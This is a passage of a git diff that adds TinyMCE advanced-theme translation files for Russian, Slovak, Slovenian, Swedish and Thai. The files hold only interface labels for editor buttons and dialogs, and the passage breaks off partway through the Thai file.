+tinyMCE.addI18n('ru.advanced_dlg',{"link_list":"\u0421\u043f\u0438\u0441\u043e\u043a \u0441\u0441\u044b\u043b\u043e\u043a","link_is_external":"\u0412\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u0432\u043d\u0435\u0448\u043d\u044e\u044e \u0441\u0441\u044b\u043b\u043a\u0443, \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u0435\u0444\u0438\u043a\u0441 http://?","link_is_email":"\u0412\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u0443\u044e \u043f\u043e\u0447\u0442\u0443, \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u0435\u0444\u0438\u043a\u0441 mailto:?","link_titlefield":"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a","link_target_blank":"\u041e\u0442\u043a\u0440\u044b\u0442\u044c \u0432 \u043d\u043e\u0432\u043e\u043c \u043e\u043a\u043d\u0435","link_target_same":"\u041e\u0442\u043a\u0440\u044b\u0442\u044c \u0432 \u044d\u0442\u043e\u043c \u043e\u043a\u043d\u0435","link_target":"\u0426\u0435\u043b\u044c","link_url":"\u0410\u0434\u0440\u0435\u0441","link_title":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0441\u0441\u044b\u043b\u043a\u0438","image_align_right":"\u041f\u043e \u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","image_align_left":"\u041f\u043e \u043b\u0435\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","image_align_textbottom":"\u041f\u043e \u043d\u0438\u0436\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e \u0442\u0435\u043a\u0441\u0442\u0430","image_align_texttop":"\u041f\u043e \u0432\u0435\u0440\u0445\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e \u0442\u0435\u043a\u0441\u0442\u0430","image_align_bottom":"\u041f\u043e \u043d\u0438\u0436\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e","image_align_middle":"\u041f\u043e \u0446\u0435\u043d\u0442\u0440\u0443","image_align_top":"\u041f\u043e \u0432\u0435\u0440\u0445\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e","image_align_baseline":"\u041f\u043e \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u043b\u0438\u043d\u0438\u0438","image_align":"\u0412\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435","image_hspace":"\u0413\u043e\u0440\u0438\u0437. \u043e\u0442\u0441\u0442\u0443\u043f","image_vspace":"\u0412\u0435\u0440\u0442. \u043e\u0442\u0441\u0442\u0443\u043f","image_dimensions":"\u0420\u0430\u0437\u043c\u0435\u0440","image_alt":"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435","image_list":"\u0421\u043f\u0438\u0441\u043e\u043a \u043a\u0430\u0440\u0442\u0438\u043d\u043e\u043a","image_border":"\u0413\u0440\u0430\u043d\u0438\u0446\u0430","image_src":"\u0410\u0434\u0440\u0435\u0441","image_title":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f","charmap_title":"\u0412\u044b\u0431\u043e\u0440 \u0441\u0438\u043c\u0432\u043e\u043b\u0430","colorpicker_name":"\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435:","colorpicker_color":"\u041a\u043e\u0434:","colorpicker_named_title":"\u0426\u0432\u0435\u0442\u0430","colorpicker_named_tab":"\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u044f","colorpicker_palette_title":"\u0426\u0432\u0435\u0442\u0430","colorpicker_palette_tab":"\u041f\u0430\u043b\u0438\u0442\u0440\u0430","colorpicker_picker_title":"\u0426\u0432\u0435\u0442\u0430","colorpicker_picker_tab":"\u0421\u043f\u0435\u043a\u0442\u0440","colorpicker_title":"\u0426\u0432\u0435\u0442\u0430","code_wordwrap":"\u041f\u0435\u0440\u0435\u043d\u043e\u0441 \u0441\u0442\u0440\u043e\u043a","code_title":"\u0420\u0435\u0434\u0430\u043a\u0442\u043e\u0440 HTML \u043a\u043e\u0434\u0430","anchor_name":"\u0418\u043c\u044f \u044f\u043a\u043e\u0440\u044f","anchor_title":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u044f\u043a\u043e\u0440\u044f","about_loaded":"\u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u0435 \u043f\u043b\u0430\u0433\u0438\u043d\u044b","about_version":"\u0412\u0435\u0440\u0441\u0438\u044f","about_author":"\u0410\u0432\u0442\u043e\u0440","about_plugin":"\u041f\u043b\u0430\u0433\u0438\u043d","about_plugins":"\u041f\u043b\u0430\u0433\u0438\u043d\u044b","about_license":"\u041b\u0438\u0446\u0435\u043d\u0437\u0438\u044f","about_help":"\u041f\u043e\u043c\u043e\u0449\u044c","about_general":"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435","about_title":"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 TinyMCE","charmap_usage":"\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043a\u043b\u0430\u0432\u0438\u0448\u0438 \"\u0412\u043b\u0435\u0432\u043e\" \u0438 \"\u0412\u043f\u0440\u0430\u0432\u043e\" \u0434\u043b\u044f \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u0438.","anchor_invalid":"\u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0443\u043a\u0430\u0436\u0438\u0442\u0435 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0435 \u0438\u043c\u044f \u044f\u043a\u043e\u0440\u044f.","accessibility_help":"\u0414\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043c\u043e\u0449\u0438","accessibility_usage_title":"\u041e\u0431\u0449\u0435\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/sk.js b/js/tiny_mce/themes/advanced/langs/sk.js new file mode 100755 index 0000000..c0a481a --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/sk.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sk.advanced',{"underline_desc":"Pod\u010diarknut\u00e9 (Ctrl+U)","italic_desc":"Kurz\u00edva (Ctrl+I)","bold_desc":"Tu\u010dn\u00e9 (Ctrl+B)",dd:"Popis defin\u00edcie",dt:"Term\u00edn defin\u00edcie",samp:"Uk\u00e1\u017eka k\u00f3du",code:"K\u00f3d",blockquote:"Blokov\u00e1 cit\u00e1cia",h6:"Nadpis 6",h5:"Nadpis 5",h4:"Nadpis 4",h3:"Nadpis 3",h2:"Nadpis 2",h1:"Nadpis 1",pre:"Predform\u00e1tovan\u00e9",address:"Adresa",div:"Oddiel",paragraph:"Odstavec",block:"Form\u00e1t",fontdefault:"P\u00edsmo","font_size":"Ve\u013ekos\u0165 p\u00edsma","style_select":"\u0160t\u00fdly","more_colors":"\u010eal\u0161ie farby","toolbar_focus":"Prechod na panel n\u00e1strojov - Alt-Q, prechod do editora - Alt-Z, prechod na cestu k objektom - Alt-X",newdocument:"Ste si naozaj ist\u00ed, \u017ee chcete odstr\u00e1ni\u0165 v\u0161etok obsah?",path:"Cesta","clipboard_msg":"Funkcie kop\u00edrova\u0165/vystrihn\u00fa\u0165/vlo\u017ei\u0165 nie s\u00fa prehliada\u010dom Mozilla Firefox podporovan\u00e9. Chcete viac inform\u00e1ci\u00ed o tomto probl\u00e9me?","blockquote_desc":"Blokov\u00e1 cit\u00e1cia","help_desc":"Pomocn\u00edk","newdocument_desc":"Nov\u00fd dokument","image_props_desc":"Vlastnosti obr\u00e1zka","paste_desc":"Vlo\u017ei\u0165","copy_desc":"Kop\u00edrova\u0165","cut_desc":"Vystrihn\u00fa\u0165","anchor_desc":"Vlo\u017ei\u0165/upravi\u0165 z\u00e1lo\u017eku (kotvu)","visualaid_desc":"Zobrazi\u0165 pomocn\u00e9 linky/skryt\u00e9 prvky","charmap_desc":"Vlo\u017ei\u0165 \u0161peci\u00e1lny znak","backcolor_desc":"Farba zv\u00fdraznenia textu","forecolor_desc":"Farba p\u00edsma","custom1_desc":"\u013dubovoln\u00fd popisok","removeformat_desc":"Odstr\u00e1ni\u0165 form\u00e1tovanie","hr_desc":"Vlo\u017ei\u0165 vodorovn\u00fd odde\u013eova\u010d","sup_desc":"Horn\u00fd index","sub_desc":"Doln\u00fd index","code_desc":"Upravi\u0165 HTML zdroj","cleanup_desc":"Vy\u010disti\u0165 k\u00f3d","image_desc":"Vlo\u017ei\u0165/upravi\u0165 obr\u00e1zok","unlink_desc":"Odobra\u0165 odkaz","link_desc":"Vlo\u017ei\u0165/upravi\u0165 odkaz","redo_desc":"Znovu (Ctrl+Y)","undo_desc":"Sp\u00e4\u0165 (Ctrl+Z)","indent_desc":"Zv\u00e4\u010d\u0161i\u0165 odsadenie","outdent_desc":"Zmen\u0161i\u0165 odsadenie","numlist_desc":"\u010c\u00edslovan\u00fd zoznam","bullist_desc":"Zoznam s odr\u00e1\u017ekami","justifyfull_desc":"Zarovna\u0165 do bloku","justifyright_desc":"Zarovna\u0165 doprava","justifycenter_desc":"Zarovna\u0165 na stred","justifyleft_desc":"Zarovna\u0165 do\u013eava","striketrough_desc":"Pre\u010diarknut\u00e9","help_shortcut":"Stla\u010dte ALT-F10 pre panel n\u00e1strojov. Stla\u010dte ALT-0 pre pomocn\u00edka.","rich_text_area":"Oblas\u0165 s form\u00e1tovan\u00fdm textom","shortcuts_desc":"Pomocn\u00edk",toolbar:"Panel n\u00e1strojov","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/sk_dlg.js b/js/tiny_mce/themes/advanced/langs/sk_dlg.js new file mode 100755 index 0000000..3af287a --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/sk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sk.advanced_dlg',{"link_list":"Zoznam odkazov","link_is_external":"Zadan\u00e9 URL vyzer\u00e1 ako extern\u00fd odkaz, chcete doplni\u0165 povinn\u00fd prefix http://?","link_is_email":"Zadan\u00e9 URL vyzer\u00e1 ako e-mailov\u00e1 adresa, chcete doplni\u0165 povinn\u00fd prefix mailto:?","link_titlefield":"Titulok","link_target_blank":"Otvori\u0165 odkaz v novom okne","link_target_same":"Otvori\u0165 odkaz v rovnakom okne","link_target":"Cie\u013e","link_url":"URL odkazu","link_title":"Vlo\u017ei\u0165/upravi\u0165 odkaz","image_align_right":"Vpravo","image_align_left":"V\u013eavo","image_align_textbottom":"So spodkom riadku","image_align_texttop":"S vrcholom riadku","image_align_bottom":"Dole","image_align_middle":"Na stred riadku","image_align_top":"Hore","image_align_baseline":"Na z\u00e1klad\u0148u","image_align":"Zarovnanie","image_hspace":"Horizont\u00e1lne odsadenie","image_vspace":"Vertik\u00e1lne odsadenie","image_dimensions":"Rozmery","image_alt":"Popis obr\u00e1zka","image_list":"Zoznam obr\u00e1zkov","image_border":"Or\u00e1movanie","image_src":"URL obr\u00e1zka","image_title":"Vlo\u017ei\u0165/upravi\u0165 obr\u00e1zok","charmap_title":"Vlo\u017ei\u0165 \u0161peci\u00e1lny znak","colorpicker_name":"N\u00e1zov:","colorpicker_color":"Vybrat\u00e1 farba:","colorpicker_named_title":"Pomenovan\u00e9 farby","colorpicker_named_tab":"N\u00e1zvy","colorpicker_palette_title":"Paleta farieb","colorpicker_palette_tab":"Paleta","colorpicker_picker_title":"Kvapkadlo","colorpicker_picker_tab":"Kvapkadlo","colorpicker_title":"V\u00fdber farby","code_wordwrap":"Zalamovanie riadkov","code_title":"Editor HTML","anchor_name":"N\u00e1zov z\u00e1lo\u017eky","anchor_title":"Vlo\u017ei\u0165/upravi\u0165 z\u00e1lo\u017eku (kotvu)","about_loaded":"Na\u010d\u00edtan\u00e9 z\u00e1suvn\u00e9 moduly","about_version":"Verzia","about_author":"Autor","about_plugin":"Z\u00e1suvn\u00fd modul","about_plugins":"Z\u00e1suvn\u00e9 moduly","about_license":"Licencia","about_help":"Pomocn\u00edk","about_general":"O programe","about_title":"O TinyMCE","charmap_usage":"Pre navig\u00e1ciu pou\u017eite \u0161\u00edpky v\u013eavo a vpravo.","anchor_invalid":"Zadajte, pros\u00edm, platn\u00fd n\u00e1zov z\u00e1lo\u017eky (kotvy).","accessibility_help":"Dostupnos\u0165 n\u00e1povedy","accessibility_usage_title":"V\u0161eobecn\u00e9 pou\u017eitie","invalid_color_value":"Neplatn\u00fd k\u00f3d farby"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/sl.js b/js/tiny_mce/themes/advanced/langs/sl.js new file mode 100755 index 0000000..0f9901e --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/sl.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sl.advanced',{"underline_desc":"Pod\u010drtano (Ctrl+U)","italic_desc":"Po\u0161evno (Ctrl+I)","bold_desc":"Krepko (Ctrl+B)",dd:"definicija - opis",dt:"definicija - izraz",samp:"kodni zgled",code:"koda",blockquote:"citat",h6:"naslov 6",h5:"naslov 5",h4:"naslov 4",h3:"naslov 3",h2:"naslov 2",h1:"naslov 1",pre:"predoblikovano",address:"naslov",div:"blok",paragraph:"odstavek",block:"oblika",fontdefault:"Dru\u017eina pisave","font_size":"Velikost pisave","style_select":"Izberite slog","more_colors":"Ve\u010d barv","toolbar_focus":"Preskok na orodjarno - Alt+Q, Preskok v urejevalnik - Alt-Z, Preskok na pot elementa - Alt-X",newdocument:"Ste prepri\u010dani, da \u017eelite odstraniti vsebino?",path:"Pot","clipboard_msg":"Delo z odlo\u017ei\u0161\u010dem ni mogo\u010de v tem brskalniku. Lahko uporabljate kombinacije tipk Ctrl+X, Ctrl+C, Ctrl+V.\n\u017delite ve\u010d informacij o tem?","blockquote_desc":"Citat","help_desc":"Pomo\u010d","newdocument_desc":"Nov dokument","image_props_desc":"Lastnosti slike","paste_desc":"Prilepi","copy_desc":"Kopiraj","cut_desc":"Izre\u017ei","anchor_desc":"Vstavi/uredi sidro","visualaid_desc":"Preklop prikaza vodil","charmap_desc":"Vstavi posebni znak","backcolor_desc":"Izberite barvo ozadja","forecolor_desc":"Izberite barvo pisave","custom1_desc":"Opis tule","removeformat_desc":"Odstrani oblikovanje","hr_desc":"Vstavi \u010drto","sup_desc":"Nadpisano","sub_desc":"Podpisano","code_desc":"Uredi kodo HTML","cleanup_desc":"Pre\u010disti kodo","image_desc":"Vstavi/uredi sliko","unlink_desc":"Odstrani povezavo","link_desc":"Vstavi/uredi povezavo","redo_desc":"Uveljavi (Ctrl+Y)","undo_desc":"Razveljavi (Ctrl+Z)","indent_desc":"Odmakni ven","outdent_desc":"Zamakni","numlist_desc":"Na\u0161tevanje","bullist_desc":"Alineje","justifyfull_desc":"Polna poravnava","justifyright_desc":"Poravnava desno","justifycenter_desc":"Poravnava na sredino","justifyleft_desc":"Poravnava levo","striketrough_desc":"Pre\u010drtano","help_shortcut":"Pritisnite ALT-F10 za orodno vrstico, ALT-0 za pomo\u010d","rich_text_area":"Polje z obogatenim besedilom","shortcuts_desc":"Pomo\u010d za dostopnost",toolbar:"Orodna vrstica","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/sl_dlg.js b/js/tiny_mce/themes/advanced/langs/sl_dlg.js new file mode 100755 index 0000000..dccb621 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/sl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sl.advanced_dlg',{"link_list":"Seznam povezav","link_is_external":"Vneseni naslov verjetno predstavlja zunanjo povezavo, \u017eelite da dodam zahtevano predpono \\\'http://\\\'?","link_is_email":"Vneseni naslov verjetno prestavlja e-naslov, \u017eelite da dodam zahtevano predpono \\\'mailto:\\\'?","link_titlefield":"Naslov","link_target_blank":"odpri povezavo v novem oknu","link_target_same":"odpri povezavo v istem oknu","link_target":"Ime cilja","link_url":"Naslov URL","link_title":"Vstavi/uredi povezavo","image_align_right":"desno, plavajo\u010de","image_align_left":"levo, plavajo\u010de","image_align_textbottom":"dno besedila","image_align_texttop":"vrh besedila","image_align_bottom":"spodaj","image_align_middle":"sredina","image_align_top":"zgoraj","image_align_baseline":"osnovna linija","image_align":"Poravnava","image_hspace":"Prostor le/de","image_vspace":"Prostor zg/sp","image_dimensions":"Dimenzije","image_alt":"Opis slike","image_list":"Seznam slik","image_border":"Obroba","image_src":"Naslov URL slike","image_title":"Vstavi/uredi sliko","charmap_title":"Izberite posebni znak","colorpicker_name":"Ime:","colorpicker_color":"Barva:","colorpicker_named_title":"Poimenovane barve","colorpicker_named_tab":"Poimenovane","colorpicker_palette_title":"Barve palete","colorpicker_palette_tab":"Paleta","colorpicker_picker_title":"Izbor barve","colorpicker_picker_tab":"Izbor","colorpicker_title":"Izberite barvo","code_wordwrap":"Prelomi vrstice","code_title":"Urejevalnik kode HTML","anchor_name":"Ime sidra","anchor_title":"Vstavi/uredi sidro","about_loaded":"Nalo\u017eeni vsadki","about_version":"Verzija","about_author":"Avtor","about_plugin":"Vsadek","about_plugins":"Vsadki","about_license":"Licenca","about_help":"Pomo\u010d","about_general":"Vizitka","about_title":"O TinyMCE","charmap_usage":"Za navigacijo uporabite tipki levo in desno.","anchor_invalid":"Prosimo vnesite veljavno ime sidra.","accessibility_help":"Pomo\u010d za dostopnost","accessibility_usage_title":"Splo\u0161na raba"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/sv.js b/js/tiny_mce/themes/advanced/langs/sv.js new file mode 100755 index 0000000..9a20833 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/sv.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sv.advanced',{"underline_desc":"Understruken (Ctrl+U)","italic_desc":"Kursiv (Ctrl+I)","bold_desc":"Fet (Ctrl+B)",dd:"Definitionsbeskrivning",dt:"Definitionsterm",samp:"Kodexempel",code:"Kodblock",blockquote:"Blockcitat",h6:"Rubrik 6",h5:"Rubrik 5",h4:"Rubrik 4",h3:"Rubrik 3",h2:"Rubrik 2",h1:"Rubrik 1",pre:"F\u00f6rformaterad",address:"Adress",div:"Div",paragraph:"Stycke",block:"Format",fontdefault:"Teckensnitt","font_size":"Teckenstorlek","style_select":"Stilar","more_colors":"Mer f\u00e4rger","toolbar_focus":"Hoppa till verktygsf\u00e4ltet - Alt+Q, Hoppa till redigeraren - Alt-Z, Hoppa till elementlistan - Alt-X",newdocument:"\u00c4r du s\u00e4ker p\u00e5 att du vill radera allt inneh\u00e5ll?",path:"Element","clipboard_msg":"Kopiera/klipp ut/klistra in \u00e4r inte tillg\u00e4ngligt i din webbl\u00e4sare.\nVill du veta mer om detta?","blockquote_desc":"Blockcitat","help_desc":"Hj\u00e4lp","newdocument_desc":"Nytt dokument","image_props_desc":"Bildinst\u00e4llningar","paste_desc":"Klistra in","copy_desc":"Kopiera","cut_desc":"Klipp ut","anchor_desc":"Infoga/redigera bokm\u00e4rke","visualaid_desc":"Visa/d\u00f6lj visuella hj\u00e4lpmedel","charmap_desc":"Infoga specialtecken","backcolor_desc":"V\u00e4lj bakgrundsf\u00e4rg","forecolor_desc":"V\u00e4lj textf\u00e4rg","custom1_desc":"Din beskrivning h\u00e4r","removeformat_desc":"Ta bort formatering","hr_desc":"Infoga horisontell skiljelinje","sup_desc":"Superscript","sub_desc":"Subscript","code_desc":"Redigera HTML k\u00e4llkoden","cleanup_desc":"St\u00e4da upp i k\u00e4llkoden","image_desc":"Infoga/redigera bild","unlink_desc":"Ta bort l\u00e4nk","link_desc":"Infoga/redigera l\u00e4nk","redo_desc":"G\u00f6r om (Ctrl+Y)","undo_desc":"\u00c5ngra (Ctrl+Z)","indent_desc":"Indrag","outdent_desc":"Drag tillbaka","numlist_desc":"Nummerlista","bullist_desc":"Punktlista","justifyfull_desc":"Justera","justifyright_desc":"H\u00f6gerst\u00e4lld","justifycenter_desc":"Centrera","justifyleft_desc":"V\u00e4nsterst\u00e4lld","striketrough_desc":"Genomstruken","help_shortcut":"Alt-F10 f\u00f6r verktygsf\u00e4lt. Alt-0 f\u00f6r hj\u00e4lp.","rich_text_area":"Redigeringsarea","shortcuts_desc":"Hj\u00e4lp f\u00f6r funktionshindrade",toolbar:"Verktygsf\u00e4lt","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/sv_dlg.js b/js/tiny_mce/themes/advanced/langs/sv_dlg.js new file mode 100755 index 0000000..45d9220 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/sv_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sv.advanced_dlg',{"link_list":"L\u00e4nklista","link_is_external":"L\u00e4nken du angav verkar vara en extern adress. Vill du infoga http:// prefixet p\u00e5 l\u00e4nken?","link_is_email":"L\u00e4nken du angav verkar vara en e-post adress. Vill du infoga mailto: prefixet p\u00e5 l\u00e4nken?","link_titlefield":"Titel","link_target_blank":"\u00d6\u0096ppna l\u00e4nken i ett nytt f\u00f6nster","link_target_same":"\u00d6\u0096ppna l\u00e4nken i samma f\u00f6nster","link_target":"M\u00e5l","link_url":"L\u00e4nkens URL","link_title":"Infoga/redigera l\u00e4nk","image_align_right":"H\u00f6ger","image_align_left":"V\u00e4nster","image_align_textbottom":"Botten av texten","image_align_texttop":"Toppen av texten","image_align_bottom":"Botten","image_align_middle":"Mitten","image_align_top":"Toppen","image_align_baseline":"Baslinje","image_align":"Justering","image_hspace":"Horisontalrymd","image_vspace":"Vertikalrymd","image_dimensions":"Dimensioner","image_alt":"Bildens beskrivning","image_list":"Bildlista","image_border":"Ram","image_src":"Bildens URL","image_title":"Infoga/redigera bild","charmap_title":"V\u00e4lj ett specialtecken","colorpicker_name":"Namn:","colorpicker_color":"F\u00e4rg:","colorpicker_named_title":"Namngivna f\u00e4rger","colorpicker_named_tab":"Namngivna","colorpicker_palette_title":"Palettf\u00e4rger","colorpicker_palette_tab":"Palett","colorpicker_picker_title":"F\u00e4rgv\u00e4ljare","colorpicker_picker_tab":"V\u00e4ljare","colorpicker_title":"V\u00e4lj en f\u00e4rg","code_wordwrap":"Bryt ord","code_title":"HTML k\u00e4llkodsl\u00e4ge","anchor_name":"Namn","anchor_title":"Infoga/redigera bokm\u00e4rke","about_loaded":"Laddade plug-ins","about_version":"Version","about_author":"Utvecklare","about_plugin":"Om plug-in","about_plugins":"Om plug-in","about_license":"Licens","about_help":"Hj\u00e4lp","about_general":"Om","about_title":"Om TinyMCE","charmap_usage":"Anv\u00e4nd v\u00e4nster och h\u00f6ger pil f\u00f6r att navigera","anchor_invalid":"Skiv ett korrekt ankarnamn.","accessibility_help":"Tillg\u00e4nglighets hj\u00e4lp","accessibility_usage_title":"Generellanv\u00e4ndning"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/th.js b/js/tiny_mce/themes/advanced/langs/th.js new file mode 100755 index 0000000..144f0a2 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/th.js @@ -0,0 +1 @@ +tinyMCE.addI18n('th.advanced',{"underline_desc":"\u0e15\u0e31\u0e27\u0e02\u0e35\u0e14\u0e40\u0e2a\u0e49\u0e19\u0e43\u0e15\u0e49(Ctrl+U)","italic_desc":"\u0e15\u0e31\u0e27\u0e40\u0e2d\u0e35\u0e22\u0e07 (Ctrl+I)","bold_desc":"\u0e15\u0e31\u0e27\u0e2b\u0e19\u0e32 (Ctrl+B)",dd:"\u0e23\u0e32\u0e22\u0e25\u0e30\u0e40\u0e2d\u0e35\u0e22\u0e14\u0e04\u0e33\u0e19\u0e34\u0e22\u0e32\u0e21",dt:"\u0e04\u0e33\u0e19\u0e34\u0e22\u0e32\u0e21",samp:"\u0e42\u0e04\u0e49\u0e14\u0e15\u0e31\u0e27\u0e2d\u0e22\u0e48\u0e32\u0e07",code:"\u0e42\u0e04\u0e49\u0e14",blockquote:"\u0e2d\u0e49\u0e32\u0e07\u0e2d\u0e34\u0e07",h6:"Heading 6",h5:"Heading 5",h4:"Heading 4",h3:"Heading 3",h2:"Heading 2",h1:"Heading 1",pre:"\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a\u0e1e\u0e37\u0e49\u0e19\u0e10\u0e32\u0e19",address:"\u0e17\u0e35\u0e48\u0e2d\u0e22\u0e39\u0e48",div:"Div",paragraph:"\u0e22\u0e48\u0e2d\u0e2b\u0e19\u0e49\u0e32",block:"\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a",fontdefault:"\u0e40\u0e25\u0e37\u0e2d\u0e01\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23","font_size":"\u0e02\u0e19\u0e32\u0e14\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23","style_select":"\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a","more_colors":"\u0e2a\u0e35\u0e2d\u0e37\u0e48\u0e19\u0e46","toolbar_focus":"Jump to tool buttons - Alt+Q, Jump to editor - Alt-Z, Jump to element path - Alt-X",newdocument:"\u0e04\u0e38\u0e13\u0e41\u0e19\u0e48\u0e43\u0e08\u0e2b\u0e23\u0e37\u0e2d\u0e44\u0e21\u0e48\u0e27\u0e48\u0e32\u0e15\u0e49\u0e2d\u0e07\u0e01\u0e32\u0e23\u0e25\u0e49\u0e32\u0e07\u0e40\u0e19\u0e37\u0e49\u0e2d\u0e2b\u0e32\u0e17\u0e31\u0e49\u0e07\u0e2b\u0e21\u0e14?",path:"\u0e1e\u0e32\u0e17","clipboard_msg":"\u0e04\u0e31\u0e14\u0e25\u0e2d\u0e01 / \u0e15\u0e31\u0e14 / \u0e27\u0e32\u0e07\u0e22\u0e31\u0e07\u0e44\u0e21\u0e48\u0e21\u0e35\u0e43\u0e2b\u0e49\u0e1a\u0e23\u0e34\u0e01\u0e32\u0e23\u0e43\u0e19 Mozilla \u0e41\u0e25\u0e30 Firefox.\nDo \u0e04\u0e38\u0e13\u0e15\u0e49\u0e2d\u0e07\u0e01\u0e32\u0e23\u0e02\u0e49\u0e2d\u0e21\u0e39\u0e25\u0e40\u0e1e\u0e34\u0e48\u0e21\u0e40\u0e15\u0e34\u0e21\u0e40\u0e01\u0e35\u0e48\u0e22\u0e27\u0e01\u0e31\u0e1a\u0e1b\u0e31\u0e0d\u0e2b\u0e32\u0e19\u0e35\u0e49\u0e2b\u0e23\u0e37\u0e2d\u0e44\u0e21\u0e48?","blockquote_desc":"\u0e2d\u0e49\u0e32\u0e07\u0e16\u0e36\u0e07","help_desc":"\u0e0a\u0e48\u0e27\u0e22\u0e40\u0e2b\u0e25\u0e37\u0e2d","newdocument_desc":"\u0e40\u0e2d\u0e01\u0e2a\u0e32\u0e23\u0e43\u0e2b\u0e21\u0e48","image_props_desc":"\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e23\u0e39\u0e1b","paste_desc":"\u0e27\u0e32\u0e07","copy_desc":"\u0e04\u0e31\u0e14\u0e25\u0e2d\u0e01","cut_desc":"\u0e15\u0e31\u0e14","anchor_desc":"\u0e40\u0e1e\u0e34\u0e48\u0e21/\u0e41\u0e01\u0e49\u0e44\u0e02 \u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21\u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c","visualaid_desc":"\u0e2a\u0e25\u0e31\u0e1a guidelines/\u0e0b\u0e48\u0e2d\u0e19 